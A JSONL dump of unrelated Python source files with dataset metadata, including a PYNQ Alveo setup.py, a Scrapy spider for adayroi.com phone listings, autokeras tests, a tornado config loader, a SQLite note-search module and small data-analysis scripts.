1e10\n self.values_list[4][\"value_str\"] = \"%.2e ph/s\" % value\n self.update_values()\n\n def update_disk_space(self):\n data_path = self.session_hwobj.get_base_data_directory()\n data_path_root = \"/%s\" % data_path.split(\"/\")[0]\n\n if os.path.exists(data_path_root):\n st = os.statvfs(data_path_root)\n total = st.f_blocks * st.f_frsize\n free = st.f_bavail * st.f_frsize\n perc = st.f_bavail / float(st.f_blocks)\n txt = \"Total: %s\\nFree: %s (%s)\" % (\n self.sizeof_fmt(total),\n self.sizeof_fmt(free),\n \"{0:.0%}\".format(perc),\n )\n # if free / 2 ** 30 > self['diskThreshold']:\n # Qt4_widget_colors.set_widget_color(self.disc_value_label,\n # STATES['ready'])\n # else:\n # Qt4_widget_colors.set_widget_color(self.disc_value_label,\n else:\n txt = \"Not available\"\n self.values_list[5][\"value_str\"] = txt\n\n def sizeof_fmt(self, num):\n \"\"\"Returns disk space formated in string\"\"\"\n\n for x in [\"bytes\", \"KB\", \"MB\", \"GB\"]:\n if num < 1024.0:\n return \"%3.1f%s\" % (num, x)\n num /= 1024.0\n return \"%3.1f%s\" % (num, \"TB\")\n\n def sizeof_num(self, num):\n \"\"\"Returns disk space formated in exp value\"\"\"\n\n for x in [\"m\", unichr(181), \"n\"]:\n if num > 0.001:\n num *= 1000.0\n return \"%0.1f%s\" % (num, x)\n num *= 1000.0\n return \"%3.1f%s\" % (num, \" n\")\n","sub_path":"HardwareObjects/mockup/MachineInfoMockup.py","file_name":"MachineInfoMockup.py","file_ext":"py","file_size_in_byte":5894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"76973554","text":"# Copyright (C) 2020 Xilinx, Inc\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom setuptools import setup, find_packages\nimport os\nfrom pynq.utils import build_py\n\n\n__author__ = \"Giuseppe Natale\"\n__copyright__ = \"Copyright 2020, Xilinx\"\n__email__ = \"pynq_support@xilinx.com\"\n\n\n# global variables\nmodule_name = \"pynq_alveo_examples\"\ndata_files = []\n\n\ndef extend_package(path):\n if os.path.isdir(path):\n data_files.extend(\n [os.path.join(\"..\", root, f)\n for root, _, files in os.walk(path) for f in files]\n )\n elif os.path.isfile(path):\n data_files.append(os.path.join(\"..\", path))\n\nwith open(\"README.md\", encoding=\"utf-8\") as fh:\n readme_lines = fh.readlines()[4:]\nlong_description = (\"\".join(readme_lines))\n\nextend_package(os.path.join(module_name, \"notebooks\"))\nsetup(name=module_name,\n version=\"1.0.2\",\n description=\"Introductory Examples for using PYNQ with Alveo\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n author=\"Giuseppe Natale\",\n author_email=\"pynq_support@xilinx.com\",\n url=\"https://github.com/Xilinx/Alveo-PYNQ\",\n packages=find_packages(),\n download_url=\"https://github.com/Xilinx/Alveo-PYNQ\",\n package_data={\n \"\": data_files,\n },\n python_requires=\">=3.5.2\",\n # keeping 'setup_requires' only for readability - relying on\n # pyproject.toml and PEP 517/518\n setup_requires=[\n \"pynq>=2.5.1\"\n ],\n install_requires=[\n \"pynq>=2.5.1\",\n \"jupyter\",\n \"jupyterlab\",\n \"plotly\",\n \"lz4\"\n ],\n extras_require={\n ':python_version<\"3.6\"': [\n 'matplotlib<3.1',\n 'ipython==7.9'\n ],\n ':python_version>=\"3.6\"': [\n 'matplotlib'\n ]\n },\n entry_points={\n \"pynq.notebooks\": [\n \"0-welcome-to-pynq = {}.notebooks.0_welcome_to_pynq\".format(\n module_name),\n \"1-introduction = {}.notebooks.1_introduction\".format(\n module_name),\n \"2-kernel-optimization = {}.notebooks.\"\n \"2_kernel_optimization\".format(module_name),\n \"3-advanced-features = {}.notebooks.3_advanced_features\".format(\n module_name),\n \"4-building-and-emulation = {}.notebooks.\"\n \"4_building_and_emulation\".format(module_name),\n \"data-compression = {}.notebooks.data_compression\".format(\n module_name)\n ]\n },\n cmdclass={\"build_py\": build_py},\n license=\"Apache License 2.0\"\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"629924560","text":"# Operadores Lógicos\n\n'''\n AND conjunción - and True and True = True\n las otras False\n OR Disyunción - or False or False = False\n las otras True\n NOT Negación - not al negar devuelve\n el otro valor\n #Prioridades\n 1. not\n 2. and\n 3. or\n'''\n\n# Variables\na = 10\nb = 15\nc = 20\n\nresultado = not((a>b)or(b=b))\nprint(resultado)\n","sub_path":"Elementos Basicos/Operadores Lógicos.py","file_name":"Operadores Lógicos.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"369280691","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport logging\nimport re\nimport json\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom scrapy.linkextractors.lxmlhtml import LxmlLinkExtractor\nfrom scrapy.selector import Selector\nfrom datetime import datetime\n\nfrom ..items import ProductItem\n\n\nlogger = logging.getLogger(__name__)\n\nclass AdayroiSpider(CrawlSpider):\n name = 'adayroi'\n allowed_domains = ['www.adayroi.com']\n start_urls = ['https://www.adayroi.com/dien-thoai-c323']\n rules = (\n Rule(LxmlLinkExtractor(\n allow=(\n '/dien-thoai-c323',\n ),\n deny=(\n '/tin-tuc/',\n '/phu-kien/',\n '/huong-dan/',\n '/ho-tro/',\n '/tra-gop/',\n '/khuyen-mai/',\n '/top/',\n '/chuong-trinh/',\n '/phieu-qua-tang/'\n ),\n ), callback='parse_adayroi'),\n )\n\n def parse_adayroi(self, response):\n logger.info('Scrape url: %s' % response.url)\n for product_link in response.css('div.product-item__container>a.product-item__thumbnail::attr(href)').getall():\n product_link = \"https://www.adayroi.com%s\" % product_link\n yield response.follow(product_link, callback=self.parse_product_detail)\n\n # Following next page to scrape\n # next_page = response.css('section.section__pagination>nav.navigation>ul.hidden-xs').xpath(\n # './/li[not(contains(@class,\"active\"))]/a[not(contains(@class,\"btn disabled\"))]/@href').get()\n next_page = response.xpath('//a[@rel=\"next\"]/@href').get()\n if next_page is not None:\n next_page = \"https://www.adayroi.com%s\" % next_page\n yield response.follow(next_page, callback=self.parse_adayroi)\n pass\n\n def parse_product_detail(self, response):\n\n def extract_with_xpath(query):\n return response.xpath(query).get(default='').strip()\n\n def extract_price(query):\n price = response.xpath(query).get(default='').strip()\n return price\n\n def extract_xpath_all(query):\n gallery = response.xpath(query).getall()\n return gallery\n\n #logger.info('Product Url: %s' % response.url)\n # Validate price with pattern\n price_pattern = re.compile(\"([0-9](\\\\w+ ?)*\\\\W+)\")\n product_price = extract_price(\n '//div[@class=\"product-detail__price\"]/div[@class=\"product-detail__price-info\"]/div[@class=\"price-info__sale\"]/text()')\n #logger.info('Product Price: %s' % product_price)\n if re.match(price_pattern, product_price) is None:\n return\n\n product_link = extract_with_xpath(\n '//link[@rel=\"canonical\"]/@href')\n product_title = extract_with_xpath(\n '//div[@class=\"product-detail__title\"]/h1/text()')\n\n short_desc = extract_xpath_all(\n '//div[@class=\"short-des__content\"]/ul/li/p/text() | //div[@class=\"short-des__content\"]/ul/li/p/span/text()')\n product_desc = ''.join(short_desc)\n #product_desc = extract_with_xpath('//meta[@property=\"description\"]/@content')\n\n product_swatchcolors = extract_xpath_all(\n '//div[@class=\"product-variant__list\"]/a//text()')\n\n # product_images = extract_with_xpath('//meta[@property=\"image\"]/@content')\n product_images = []\n media_script = extract_with_xpath(\n '//div[@class=\"col-sm-6 product-detail__info-block\"]/script/text()')\n media_pattern = re.compile(r'^var productJsonMedias = (.*?);\\s*')\n medias = media_pattern.findall(media_script)\n if medias is not None and len(medias) > 0:\n json_data = json.loads(medias[0])\n product_images = [item[\"zoomUrl\"] for item in json_data]\n\n # Specifications product\n product_specifications = extract_xpath_all(\n '//div[@class=\"product-specs__table\"]/table/tbody/tr/td/text()')\n \n # product_specifications = []\n # for spec_row in response.xpath('//div[@class=\"product-specs__table\"]/table/tbody/tr'):\n # if spec_row is not None:\n # try:\n # spec_key = spec_row.xpath(\n # './/td[@class=\"specs-table__property\"]/text()').get().strip()\n # spec_value = spec_row.xpath(\n # './/td[@class=\"specs-table__value\"]/text()').get().strip()\n # product_specifications.append({spec_key, spec_value})\n # except:\n # pass\n\n products = ProductItem()\n products['cid'] = 1 # 1: Smartphone\n products['title'] = product_title\n products['description'] = product_desc\n products['price'] = product_price\n products['swatchcolors'] = product_swatchcolors\n products['specifications'] = product_specifications\n products['link'] = product_link\n products['images'] = product_images\n products['shop'] = 'adayroi'\n products['domain'] = 'adayroi.com'\n products['body'] = ''\n\n yield products\n","sub_path":"webcrawler/spiders/adayroi.py","file_name":"adayroi.py","file_ext":"py","file_size_in_byte":5125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"561274470","text":"import kerastuner\n\nimport autokeras as ak\nfrom autokeras.hypermodel import hyperblock as hyperblock_module\nfrom tests import common\n\n\ndef test_image_block():\n block = hyperblock_module.ImageBlock(normalize=None, augment=None)\n block.set_state(block.get_state())\n hp = kerastuner.HyperParameters()\n\n block.build(hp, ak.Input())\n\n assert common.name_in_hps('block_type', hp)\n assert common.name_in_hps('normalize', hp)\n assert common.name_in_hps('augment', hp)\n\n\ndef test_text_block():\n block = hyperblock_module.TextBlock()\n block.set_state(block.get_state())\n hp = kerastuner.HyperParameters()\n\n block.build(hp, ak.TextInput())\n\n assert common.name_in_hps('vectorizer', hp)\n\n\ndef test_structured_data_block():\n block = hyperblock_module.StructuredDataBlock()\n block.num_heads = 1\n block.set_state(block.get_state())\n hp = kerastuner.HyperParameters()\n\n block.build(hp, ak.Input())\n\n assert common.name_in_hps('block_type', hp)\n","sub_path":"tests/autokeras/hypermodel/hyperblock_test.py","file_name":"hyperblock_test.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"303150104","text":"#coding=utf-8\nimport os\nfrom tornado.options import options, define\n\nPROJDIR = os.path.abspath(os.path.dirname(__file__))\n\n\ndef init():\n define('debug', type=bool, default=True, help='application in debug mode?')\n define('port', type=int, default=8888,\n help='the port application listen to')\n define('token', type=str, default='', help='your wechat token')\n define('username', type=str, default='', help='your wechat username')\n define('simsimi_key', type=str, default='', help='simsimi api key')\n define('talkbot_brain_path', type=str, default='',\n help='talkbot brain file path')\n define('aiml_set', type=str, default=os.path.join(PROJDIR, 'aiml_set'),\n help='aiml set path')\n define('talkbot_properties', type=dict, default=dict(\n name=options.username,\n master=options.username,\n birthday='',\n gender='直男',\n city='安徽',\n os='OS X'\n ), help='talkbot properties')\n define('feed_url', type=str, default='', help='blog rss feed url')\n\n\ndef parse_config_file(path):\n if not path or not os.path.exists(path):\n return\n config = {}\n exec(compile(open(path).read(), path, 'exec'), config, config)\n for name in config:\n if name in options:\n options[name].set(config[name])\n else:\n define(name, config[name])\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"183641254","text":"# Modules\nimport os\nimport csv\n\n# Prompt user for dataset\ndataset = input('What dataset would you like to test? (budget_data_1.csv or budget_data_2.csv ')\n\n# Set path for file\ncsvpath = os.path.join('raw_data', dataset)\noutputpath = os.path.join('output', 'PyBank_Output.txt')\n\n# Results storage\ncount = 0\ntotal = 0\ngreatest_increase = 0\ngreatest_decrease = 0\nmonthly_revenue_1 = 0\n\n# Initiate the .csv reader\nwith open(csvpath, newline='') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',')\n\n # Skip the header\n next(csvreader, None)\n\n for row in csvreader:\n\n monthly_revenue = int(row[1])\n\n # Count of total months\n count += 1\n\n # Summed total revenue\n total += monthly_revenue\n\n # Average change calculation\n if count == 1:\n opening_value = monthly_revenue\n else:\n closing_value = monthly_revenue\n avg_change_denominator = count - 1\n avg_change = (closing_value - opening_value) / (count - 1)\n\n # Finding greatest increase and decrease in revenue\n monthly_revenue_2 = monthly_revenue\n if count == 1:\n pass\n else:\n change_in_revenue = monthly_revenue_2 - monthly_revenue_1\n if change_in_revenue > greatest_increase:\n greatest_increase = change_in_revenue\n greatest_increase_month = row[0]\n elif change_in_revenue < greatest_decrease:\n greatest_decrease = change_in_revenue\n greatest_decrease_month = row[0]\n monthly_revenue_1 = monthly_revenue\n\n# Print results\nprint('')\nprint('```')\nprint('Financial Analysis')\nprint('----------------------------')\nprint('Total Months: ' + str(count))\nprint('Total Revenue: $' + str(total))\nprint('Average Revenue Change: $' + str(round(avg_change, 2)))\nprint('Greatest Increase in Revenue: ' + greatest_increase_month + ' ($' + str(greatest_increase) + ')')\nprint('Greatest Decrease in Revenue: ' + greatest_decrease_month + ' ($' + str(greatest_decrease) + ')')\nprint('```')\nprint('')\n\nwith open(outputpath, \"w\") as text_file:\n print('', file=text_file)\n print('```', file=text_file)\n print('Financial Analysis', file=text_file)\n print('----------------------------', file=text_file)\n print('Total Months: ' + str(count), file=text_file)\n print('Total Revenue: $' + str(total), file=text_file)\n print('Average Revenue Change: $' + str(round(avg_change, 2)), file=text_file)\n print('Greatest Increase in Revenue: ' + greatest_increase_month + ' ($' + str(greatest_increase) + ')', file=text_file)\n print('Greatest Decrease in Revenue: ' + greatest_decrease_month + ' ($' + str(greatest_decrease) + ')', file=text_file)\n print('```', file=text_file)\n print('', file=text_file)","sub_path":"PyBank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"80197976","text":"from CRABClient.UserUtilities import config\nconfig = config()\n\nconfig.General.requestName = 'EXOVV_JetHT_2015C'\nconfig.General.workArea = 'crab_2015C_76x_22nov'\nconfig.General.transferOutputs = True\nconfig.General.transferLogs = True\n\nconfig.JobType.pluginName = 'Analysis'\nconfig.JobType.psetName = 'PSet.py'\n\nconfig.Data.inputDataset = '/JetHT/srappocc-JetHT_Run2015C_50ns-16Dec2015-v1_B2GAnaFW_76X_V1p2-bc790ca2c39fc80d2d155816f7f6a0a6/USER'\nconfig.Data.inputDBS = 'phys03'\nconfig.Data.splitting = 'FileBased'\nconfig.Data.unitsPerJob = 10\n\nconfig.Site.storageSite = 'T3_US_FNALLPC'\n\nconfig.JobType.scriptExe = 'execute_for_crab_data_76x.sh'\n\nconfig.JobType.outputFiles = ['outplots.root']\nconfig.JobType.inputFiles = ['FrameworkJobReport.xml', 'execute_for_crab.py', 'JetTreeDump_fwlite.py', 'JECs']\n","sub_path":"test/crab_submit_data_run2015c_76x.py","file_name":"crab_submit_data_run2015c_76x.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"650976595","text":"import requests\n\ncols = ['Gender', 'Married', 'Dependents', 'Education', 'Self_Employed',\n 'ApplicantIncome', 'CoapplicantIncome', 'LoanAmount',\n 'Loan_Amount_Term', 'Credit_History', 'Property_Area']\n\nurl = \"http://127.0.0.1:5000/predict_api\"\n\nr = requests.post(url, json={\"Gender\":\"Male\", \n \"Married\": \"Yes\", \n \"Dependents\": \"0\", \n \"Education\": \"Graduate\", \n \"Self_Employed\": \"Yes\", \n \"ApplicantIncome\": 5849, \n \"CoapplicantIncome\": 0, \n \"LoanAmount\": 128, \n \"Loan_Amount_Term\": 360, \n \"Credit_History\": 1, \n \"Property_Area\": \"Rural\"})\n\n\n \n\nprint(r.text)","sub_path":"request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"239993239","text":"\"\"\"\nControl system's constants.\n\"\"\"\nimport inputs\n\n# Controller must be defined outside of the class to allow seamless multiprocessing (otherwise serialisation fails)\nGAME_PAD = inputs.devices.gamepads[0] if inputs.devices.gamepads else None\n\n# Names of the control models\nCONTROL_AUTONOMOUS_NAME = \"autonomous\"\nCONTROL_MANUAL_NAME = \"manual\"\nCONTROL_MANAGER_NAME = \"manager\"\n\n# Precision of the normalisation function\nNORMALISATION_PRECISION = 3\n\n# Control's normal values\nCONTROL_NORM_MAX = 1\nCONTROL_NORM_IDLE = 0\nCONTROL_NORM_MIN = -1\n\n# Hardware values\nTHRUSTER_MAX = 1900\nTHRUSTER_IDLE = 1500\nTHRUSTER_MIN = 1100\nGRIPPER_IDLE = 1500\nCORD_IDLE = 1500\n\n# Joystick control boundary - any values below are considered 0\nDEAD_ZONE = 1025\n\n# Hardware and the expected min/max values\nHARDWARE_AXIS_MAX = 32767\nHARDWARE_AXIS_MIN = -32768\nHARDWARE_TRIGGER_MAX = 255\nHARDWARE_TRIGGER_MIN = 0\nINTENDED_AXIS_MAX = CONTROL_NORM_MAX\nINTENDED_AXIS_MIN = CONTROL_NORM_MIN\nINTENDED_TRIGGER_MAX = CONTROL_NORM_MAX\nINTENDED_TRIGGER_MIN = CONTROL_NORM_IDLE\n","sub_path":"surface/constants/control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"452544686","text":"import os\r\n#批量删除指定文件夹下的指定文件\r\n\r\n\r\n#��义一个返回所有图片绝对路径的函数\r\ndef all_path(dirname):\r\n result = []\r\n for maindir, subdir, file_name_list in os.walk(dirname):\r\n for filename in file_name_list:\r\n apath = os.path.join(maindir, filename)\r\n result.append(apath)\r\n return result\r\n\r\ndef main():\r\n path = 'H:/data/poles/poles2/'\r\n list1 = all_path(path)\r\n\r\n remove_path = 'H:/del.txt'\r\n with open(remove_path) as f:\r\n list2 = list(map(lambda s:s.strip(), f.readlines()))\r\n\r\n#得到所有图片的名字并添加到list3中\r\n list3 = []\r\n for i in range(len(list1)):\r\n line = os.path.split(list1[i])[-1].split('/')[0]\r\n fname = os.path.splitext(line)[0]\r\n list3.append(fname)\r\n\r\n#将需要删除的图片的路径添加到list4中\r\n list4 = []\r\n for j in range(len(list3)):\r\n for k in range(len(list2)):\r\n if list3[j] == list2[k]:\r\n out_path = list1[j]\r\n list4.append(out_path)\r\n\r\n for n in range(len(list4)):\r\n os.remove(list4[n])\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"PythonScript/PythonScript/DeleteInBatches.py","file_name":"DeleteInBatches.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"397491756","text":"# 10870 / calculate nth number in fibos\nfibo = {0: 0, 1: 1}\n\n\ndef f(n):\n global fibo\n\n if n not in fibo:\n fibo[n] = f(n - 1) + f(n - 2)\n\n return fibo[n]\n\n\nprint(f(int(input())))\n","sub_path":"recursive/10870.py","file_name":"10870.py","file_ext":"py","file_size_in_byte":194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"220578062","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom numpy.core.fromnumeric import sort\nplt.style.use('fivethirtyeight')\ndata = [26, 30, 22, 15, 21, 24, 28, 32, 24, 25, 18, 35, 100]\nbins = len(data)\n#bins = sort(data)\nplt.hist(data, bins=bins, edgecolor='black')\nmed = np.median(data)\nplt.tight_layout()\nplt.axvline(med, color='#666FFF', label='Median')\nplt.show()","sub_path":"Data/Hist.py","file_name":"Hist.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"116165759","text":"# -*- coding:utf-8 -*- \n# Created by xupingmao on 2017/06/11\n# \n\n\"\"\"Description here\"\"\"\n\nimport sys\nimport six\nimport xutils\nimport xauth\nimport xmanager\nimport xconfig\nimport xtables\n\nfrom util import textutil\n\nSearchResult = xutils.SearchResult\nconfig = xconfig\n\ndef to_sqlite_obj(text):\n if text is None:\n return \"NULL\"\n if not isinstance(text, six.string_types):\n return repr(text)\n # text = text.replace('\\\\', '\\\\')\n text = text.replace(\"'\", \"''\")\n return \"'\" + text + \"'\"\n \nclass FileDO(dict):\n \"\"\"This class behaves like both object and dict\"\"\"\n def __init__(self, name):\n self.id = None\n self.related = ''\n if isinstance(name, list) or isinstance(name, tuple):\n self.name = name[0]\n self.addRelatedNames(name)\n else:\n self.name = name\n self.addRelatedName(name)\n # self.path = getRandomPath()\n self.size = 0\n t = xutils.format_datetime()\n self.mtime = t\n self.atime = t\n self.ctime = t\n # self.status = 0\n self.visited_cnt = 0\n\n def __getattr__(self, key): \n try:\n return self[key]\n except KeyError as k:\n # raise AttributeError(k)\n return None\n \n def __setattr__(self, key, value): \n self[key] = value\n\n def __delattr__(self, key):\n try:\n del self[key]\n except KeyError as k:\n raise AttributeError(k)\n \n def addRelatedName(self, name):\n name = name.upper()\n if self.related == '':\n self.related = ',%s,' % name\n return\n if name == '':\n return\n tag = ',%s,' % name\n if tag in self.related:\n return\n self.related += name + ','\n \n def delRelatedName(self, name):\n name = name.upper()\n if name == self.name.upper():\n raise FileRelationOptionError(\"can not remove itself from related!!!\")\n names = self.related.split(',')\n names.remove(name)\n self.related = ','.join(names)\n \n def addRelatedNames(self, names):\n for name in names:\n self.addRelatedName(name)\n \n def save(self):\n if self.id is None:\n FileService.getService().insert(self)\n else:\n FileService.getService().update(self)\n \n def fixRelated(self):\n ''' this is a deprecated function '''\n related = self.related\n self.related = related.upper()\n name = self.name.upper()\n if name not in self.related:\n self.addRelatedName(name)\n if self.related[0] != ',':\n self.related = ',' + self.related\n if self.related[-1] != ',':\n self.related += ','\n if related != self.related:\n self.save()\n \n @staticmethod\n def fromDict(dict, option=None):\n \"\"\"build fileDO from dict\"\"\"\n name = dict['name']\n file = FileDO(name)\n for key in dict:\n file[key] = dict[key]\n # setattr(file, key, dict[key])\n if hasattr(file, \"content\") and file.content is None:\n file.content = \"\"\n if option:\n file.option = option\n file.url = \"/file/view?id={}\".format(dict[\"id\"])\n return file\n \n def setBase(self, base):\n self.base = base\n \n def get_content(self):\n if self.content is None:\n self.content = \"\"\n if \"CODE-\" in self.related and not self.content.startswith(\"```\"):\n m = re.match(r\".*CODE-([A-Z]*)\", self.related)\n codename = \"\"\n if m:\n codename = m.groups()[0]\n return \"```%s\\n%s\\n```\" % (codename, self.content)\n return self.content\n\n\n\ndef file_dict(id, name, related):\n return dict(id = id, name = name, related = related)\n\ndef get_file_db():\n return db.SqliteDB(db=config.DB_PATH)\n\nclass FileFilter:\n\n def __init__(self, file_list = None):\n # self.name_list = name_list\n # self.related_list = related_list\n self._files = {}\n if file_list:\n self._sync_list(file_list)\n\n def init(self, file_list):\n self._sync_list(file_list)\n\n def _sync_list(self, file_list):\n for file in file_list:\n self._files[file[\"id\"]] = file\n\n def _sync(self, id, name, related):\n self._files[id] = [name, related]\n\n def sync(self, id, file):\n self._files[id] = file\n\n def search(self, words, hide=True):\n \"\"\"search file with words\"\"\"\n result = []\n for id in self._files:\n file = self._files[id]\n related = file.get(\"related\")\n if hide and textutil.contains(related, \"HIDE\"):\n continue\n if textutil.contains(related, words):\n result.append(copy.copy(file))\n return result\n\n def filter(self, fnc):\n result = []\n for id in self._files:\n file = self._files[id]\n if fnc(file):\n result.append(copy.copy(file))\n return result\n\ndef search_name(words, groups=None):\n if not isinstance(words, list):\n words = [words]\n like_list = []\n for word in words:\n like_list.append('name LIKE %s ' % to_sqlite_obj('%' + word.upper() + '%'))\n sql = \"SELECT * from file WHERE %s AND is_deleted != 1\" % (\" AND \".join(like_list))\n if groups and groups != \"admin\":\n sql += \" AND (groups = '*' OR groups = '%s')\" % groups\n sql += \" ORDER BY satime DESC LIMIT 1000\";\n # print(\"search name:\", sql)\n all = xtables.get_file_table().query(sql)\n return [FileDO.fromDict(item) for item in all]\n\ndef full_search(words, groups=None):\n \"\"\" full search the files \"\"\"\n if not isinstance(words, list):\n words = [words]\n content_like_list = []\n # name_like_list = []\n for word in words:\n content_like_list.append('content like %s ' % to_sqlite_obj('%' + word.upper() + '%'))\n # for word in words:\n # name_like_list.append(\"related like %s \" % repr(\"%\" + word.upper() + '%'))\n sql = \"SELECT * FROM file WHERE (%s) AND is_deleted != 1\" \\\n % \" AND \".join(content_like_list)\n\n if groups and groups != \"admin\":\n sql += \" AND (groups = '*' OR groups = '%s')\" % groups\n sql += \" order by satime desc limit 1000\";\n # print(\"full search:\", sql)\n all = xtables.get_file_table().query(sql)\n return [FileDO.fromDict(item) for item in all]\n\ndef search(expression):\n words = textutil.split_words(expression)\n files = []\n search_content = xutils.get_argument(\"content\")\n if search_content == \"on\":\n content_results = full_search(words, xauth.get_current_name())\n else:\n content_results = []\n name_results = search_name(words, xauth.get_current_name())\n nameset = set()\n for item in name_results:\n nameset.add(item.name)\n\n files += name_results\n\n for item in content_results:\n if item.name not in nameset:\n files.append(item)\n return files\n\n# xmanager.register_search_func(r\"(.*)\", do_search)","sub_path":"handlers/search/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":7141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"378044528","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def detectCycle(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n\n\n slowp = head\n fastp = head\n cycle = False\n while fastp != None and fastp.next != None:\n fastp = fastp.next.next\n slowp = slowp.next\n\n if fastp == slowp:\n cycle = True\n break\n \n while slowp != None and head != slowp:\n head = head.next\n slowp = slowp.next\n \n return head if cycle else None\n","sub_path":"Leetcode/142.py","file_name":"142.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"339403520","text":"import logging\nimport os\nimport sys\n\nfrom distutils import spawn\nfrom functools import wraps\n\nlog = logging.getLogger(__name__)\n\n\ndef load_plugins():\n \"\"\"Load plugins from plugin directory.\n\n This function reads the plugs directory and loads all plugins.\n \"\"\"\n plugins = {}\n path = os.path.dirname(os.path.realpath(__file__)) + '/plugs'\n\n # temp extend sys path\n sys.path.insert(0, path)\n\n for f in os.listdir(path):\n fname, ext = os.path.splitext(f)\n if ext == '.py':\n mod = __import__(fname)\n plugins[fname] = mod.main\n log.debug('added {} plugin'.format(fname))\n\n # remove temp sys path\n sys.path.pop(0)\n\n return plugins\n\n\ndef required_keys(key_list):\n \"\"\"Decorator to check against key list.\n\n :param key_list: List of keys that needs to be in the config\n :type key_list: list\n :returns: Decorated function\n :rtype: function\n \"\"\"\n def decorated_function(func):\n\n @wraps(func)\n def func_wrapper(config):\n for key in key_list:\n if key not in list(config.keys()):\n print(('ERROR: \"{}\" not in config.'.format(key)))\n sys.exit(1)\n\n return func(config)\n\n return func_wrapper\n\n return decorated_function\n\n\ndef required_executables(dep_list):\n \"\"\"Decorator to check required executables.\n\n :param dep_list: Dependency list\n :type dep_list: list\n :returns: Decorated function\n :rtype: function\n \"\"\"\n def decorated_function(func):\n\n @wraps(func)\n def func_wrapper(config):\n for dep in dep_list:\n if not spawn.find_executable(dep):\n print(('ERROR: Please install {}.'.format(dep)))\n sys.exit(1)\n\n return func(config)\n\n return func_wrapper\n\n return decorated_function\n","sub_path":"dothebackup/plugins.py","file_name":"plugins.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"62035019","text":"from flask import Flask\nfrom flask.ext.mongoengine import MongoEngine, MongoEngineSessionInterface\nfrom flask.ext import login\nfrom flask_wtf.csrf import CsrfProtect\nfrom logentries import LogentriesHandler\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom urlparse import urlparse\nimport logging\nimport sys\n\n\n# Get config \n\napp = Flask(__name__)\napp.config.from_object('f32.default_settings')\napp.config.from_envvar('F32_CONFIG_FILE', silent=True)\n\n# App init start\n\nurl = urlparse(app.config['MONGODB_URL'])\napp.config.update(\n MONGO_URI=url.geturl(),\n MONGODB_USERNAME=url.username,\n MONGODB_PASSWORD=url.password,\n MONGODB_HOST=url.hostname,\n MONGODB_PORT=url.port,\n MONGODB_DB=url.path[1:] \n)\n\nif app.config.get('LOGENTRIES_TOKEN'):\n app.logger.addHandler(LogentriesHandler(str(app.config['LOGENTRIES_TOKEN'])))\n\napp.logger.info(\"Initializing application\")\n\nCsrfProtect(app)\ndb = MongoEngine(app)\n\n#app.session_interface = MongoEngineSessionInterface(db)\n\nif app.config.get('DEBUG', False) or app.config.get('DEBUG_TB_ENABLED', False):\n DebugToolbarExtension(app)\n\n\n# Initialize flask-login\ndef init_login():\n login_manager = login.LoginManager()\n login_manager.setup_app(app)\n\n # Create user loader function\n @login_manager.user_loader\n def load_user(user_id):\n from f32.models import User\n return User.objects(id=user_id).first()\n \n# Initialize flask-login\ninit_login()\n\n@app.context_processor\ndef inject_user():\n return dict(\n user=login.current_user,\n strtype=lambda x: type(x)\n ) \n \n# start background threads here\n\nimport views\n","sub_path":"f32/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} 